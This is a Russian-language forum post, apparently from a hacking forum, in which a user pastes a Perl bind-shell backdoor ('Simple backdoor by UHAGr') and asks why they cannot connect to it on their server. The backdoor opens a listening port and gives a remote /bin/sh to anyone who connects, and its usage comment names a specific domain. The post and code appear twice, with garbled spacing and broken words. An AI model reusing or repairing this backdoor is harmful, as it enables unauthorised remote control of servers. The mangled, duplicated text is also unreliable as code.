RexelNet
02.09.2012, 02:59
есть сервер с забинденным портом , юзаю это
PHP:
#!/usr/bin/perl ######################################## ###### # Simple backdoor by UHAGr coded b y ghostian # # usage: ./UHAGr-bd.pl (default 75000)# # On shell ls = ls; etc. &n bsp; &n bsp; # # ; www.uh agr.org &nbs p; &nbs p; # ################################ ############## # nc http://joncraton.org/files/nc111nt.zip use IO::Socket; $msg = "echo ::[UHAGr] Yeah! ::-"; $port = ($ARGV[0]); $shell = "/bin/sh"; if (!$port) { $port="7500"; } $local = IO::Socket::INET->new(Proto=>"tcp", LocalPort=>"$port", Listen=>"1") or die "Port allready in use \n"; print " ############################################## # Simple backdoor by UHAGr coded by gho stian # # usage: ./UHAGr-bd.pl (default 75000)# # On shell ls = ls; etc. &n bsp; &n bsp; # # ; www.uh agr.org &nbs p; &nbs p; # # perl bind.pl 73000 , cmdlie art-consalting.ru 73000 # ######################### ##################### "; while (accept(remote, $local)) { open(STDIN, ">&remote"); open(STDOUT, ">&remote"); open(STDERR, ">kick"); system($msg); system($shell); close(STDE RR); close(STDIN); close(STDOUT); system("rm kick"); }
и почемуто не могу подключится, как ставил проверял на работоспособность, с другого сервака пытаюсь подключится через netcat , неполучается, сначала подключался через телнет , но не выполнялись команты, точней невыводился результат, а теперь просто вылетает при подключении, что это может быть? порт открыт проверял
PHP:
#!/usr/bin/perl ######################################## ###### # Simple backdoor by UHAGr coded b y ghostian # # usage: ./UHAGr-bd.pl (default 75000)# # On shell ls = ls; etc. &n bsp; &n bsp; # # ; www.uh agr.org &nbs p; &nbs p; # ################################ ############## # nc http://joncraton.org/files/nc111nt.zip use IO::Socket; $msg = "echo ::[UHAGr] Yeah! ::-"; $port = ($ARGV[0]); $shell = "/bin/sh"; if (!$port) { $port="7500"; } $local = IO::Socket::INET->new(Proto=>"tcp", LocalPort=>"$port", Listen=>"1") or die "Port allready in use \n"; print " ############################################## # Simple backdoor by UHAGr coded by gho stian # # usage: ./UHAGr-bd.pl (default 75000)# # On shell ls = ls; etc. &n bsp; &n bsp; # # ; www.uh agr.org &nbs p; &nbs p; # # perl bind.pl 73000 , cmdlie art-consalting.ru 73000 # ######################### ##################### "; while (accept(remote, $local)) { open(STDIN, ">&remote"); open(STDOUT, ">&remote"); open(STDERR, ">kick"); system($msg); system($shell); close(STDE RR); close(STDIN); close(STDOUT); system("rm kick"); }
и почемуто не могу подключится, как ставил проверял на работоспособность, с другого сервака пытаюсь подключится через netcat , неполучается, сначала подключался через телнет , но не выполнялись команты, точней невыводился результат, а теперь просто вылетает при подключении, что это может быть? порт открыт проверял